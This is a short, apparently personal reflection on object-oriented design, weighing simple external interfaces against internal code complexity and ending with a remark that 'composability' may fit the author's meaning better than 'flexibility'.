Usually when you want an object to have a simple interface to the outside world it means that your code inside (e.g. the naming, structure and readability of functions and persistence of data and such) can get pretty complicated. On the other hand, when your interface is extensive and exposes a lot of properties and methods it usually means your inside code remains fairly straightforward.
In the end, it’s just a matter of how you want to divide the workload amongst your objects and perhaps more importantly, how flexibile you want your objects to be. Why? Because – according to the above – more flexibility usually means implementing it is easier.
Although my words still seem to make some sense (at least to me) I don’t think “flexibility” is the right word. Maybe “composability” is more to my original intent.